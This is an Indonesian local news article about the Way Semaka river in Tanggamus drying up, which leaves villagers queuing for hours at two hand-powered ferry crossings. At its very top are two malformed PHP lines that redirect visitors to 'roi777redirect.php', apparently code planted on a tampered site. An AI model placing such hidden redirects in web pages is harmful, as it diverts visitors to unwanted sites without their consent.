header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Surut Drastis, Jasa Penyeberangan Tersendat -
Surut Drastis, Jasa Penyeberangan Tersendat

Foto: IST

TERPAKSA ANTRE: Layaknya mau naik kapal feri di pelabuhan besar, warga dari Kecamatan Wonosobo dan Semaka kemarin (9/7) yang mau naik perahu penyeberangan bertenaga manusia, harus rela antre berjam-jam karena debit air Way Semaka surut drastis.

 

WAY SEMAKA

TRANSLAMPUNG.COM, TANGGAMUS – Masyarakat Kabupaten Tanggamus di dua Kecamatan Wonosobo dan Semaka, terpaksa menunggu sangat lama untuk bisa menggunakan jasa perahu penyeberangan melintasi Way Semaka, Senin (9/7).

Sebab sungai terbesar di kabupaten yang membelah dua kecamatan itu, kemarin debit airnya berkurang drastis. Imbasnya, dua perahu penyeberangan yang biasa melayani warga plus kendaraan menyeberangi Way Semaka, kesulitan beroperasi. Lantaran bodi perahu nyaris menyentuh dasar sungai yang kondisinya mengering drastis.

Jasa penyeberangan itu, selama ini sangat menjadi andalan masyarakat. Sebab selisih waktu jarak tempuhnya sangat signifikan, antara lewat Jalan Lintas Barat dengan menggunakan perahu penyeberangan di Way Semaka.

Titik penyeberangan pertama, menghubungkan Pekon Banjarsari Kecamatan Wonosobo dengan Pekon Sudimoro Kecamatan Semaka. Titik kedua, menghubungkan antara Pekon Banjarnegara Kecamatan Wonosobo dengan Pekon Kanoman Kecamatan Semaka.

“Selain mengandalkan dua titik jasa penyeberangan itu, juga ada alternatif ketiga. Yaitu menggunakan jembatan gantung yang membentang antara Pekin Kanoman dengan Banjarnegara. Tapi sudah sejak awal tahun kemarin, jembatan itu dibongkar dan sekarang sedang dibangun. Jadi mustahil dilintasi,” ungkap Takim, yang sehari-harinya menggantungkan perahu untuk mobilitasnya sebagai kanvaser sembako.

Seperti biasanya, pria yang mengaku berasal dari Gisting itu, hampir setiap hari mondar-mandir wilayah Kecamatan Wonosobo dan Semaka. Akses penghubung berupa perahu di Way Semaka itulah, yang selama ini menopang rutinitasnya menyuplai sembako ke warung atau kios langganan.

“Tapi hari ini, semuanya jadi serba terhambat. Saya sudah hampir dua jam antre (di sini). Tapi karena air di Way Semaka surut drastis, jadi perahunya bergerak sangat lambat,” ungkap pria satu anak itu.

Takim tak sendiri antre menunggu giliran naik perahu yang mengandalkan tenaga manusia itu. Cukup banyak warga dari Kecamatan Wonosobo hendak menuju ke Semaka atau sebaliknya, tertahan di bibir sungai menunggu perahu menepi. Tak pelak, pada akses masuk menuju sandaran perahu, warga berkerumun menunggu giliran. Bahkan ada yang sampai batal pergi, lantaran sudah terlalu lama mengantre.

“Pulang aja lah. Udah lama banget nunggunya. Keburu sore. Mana udah mendung,” gerutu dua wanita berjilbab seraya memutar kembali arah sepeda motornya.

Dengan kondisi tersebut, satu-satunya akses yang harus ditempuh warga adalah melalui ruas protokol Jalan Lintas Barat. Namun risikonya, waktu tempuh perjalanan menjadi berlipat ganda. Itulah yang membuat kebanyakan warga enggan melintasi ruas protokol.

“Sebenarnya bisa lewat jalan raya (Jalinbar). Tapi jadinya lama banget. Makanya males lewat luar. Tapi mau naik perahu malah ngantre gini. Ditunda aja perginya,” ujar seorang pemuda yang menunggangi motor besar bersama sang pacar. (ayp/hkw)

 

 

 

News Reporter